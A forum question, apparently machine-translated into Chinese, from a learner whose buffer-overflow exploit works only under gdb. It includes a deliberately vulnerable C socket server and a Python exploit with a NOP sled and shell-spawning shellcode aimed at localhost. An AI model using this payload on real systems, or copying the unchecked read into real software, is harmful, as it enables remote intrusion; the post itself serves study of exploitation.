0
我正在學習/理解緩衝區溢出。雖然我已經知道了，但現在我在利用這個（我的）易受攻擊的代碼方面遇到了問題。緩衝區溢出 - 利用gdb進行調試時工作，但
當我運行我的漏洞利用時，當服務器運行在gdb中，exploit工作，我得到遠程shell（有效負載被正確執行）。但是，然後我啓動外部調試器的服務器，當我開始我的利用我得到浮點異常。任何人都可以請解釋我做錯了什麼？
服務器：
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
void error(const char *msg) {
perror(msg);
exit(1);
}
void passcheck(int sockfd) {
char buffer[1024];
int newsockfd, n;
struct sockaddr_in cli_addr;
socklen_t clilen;
for (n=0; n<1024; n++) buffer[n] = 0x31;
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0)
error("ERROR on accept");
n = write(newsockfd,"PASSWORD: ",10);
if (n < 0) error("ERROR writing to socket");
n = read(newsockfd,buffer,2024);
if (n < 0) error("ERROR reading from socket");
close(newsockfd);
return;
}
int main(int argc, char *argv[]) {
int sockfd, portno;
struct sockaddr_in serv_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = 5001;
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR on binding");
listen(sockfd,5);
while(1) {
passcheck(sockfd);
printf("Try again\n");
}
close(sockfd);
return 0;
利用：
#!/usr/bin/python
import socket
payload = "\x90"*(502)+"\xe8\xff\xff\xff\xff\xc3\x5d\x8d\x6d\x4a\x31\xc0\x99\x6a\x01\x5b\x52\x53\x6a\x02\xff\xd5\x96\x5b\x52\x66\x68\x2b\x67\x66\x53\x89\xe1\x6a\x10\x51\x56\xff\xd5\x43\x43\x52\x56\xff\xd5\x43\x52\x52\x56\xff\xd5\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\x04\x5f\x6a\x66\x58\x89\xe1\xcd\x80\x57\xc3\x90"+"\x04\xf3\xff\xbf"*150
s = socket.socket()
host = "127.0.0.1"
port = 5001
s.connect((host, port))
s.send(payload)
s.close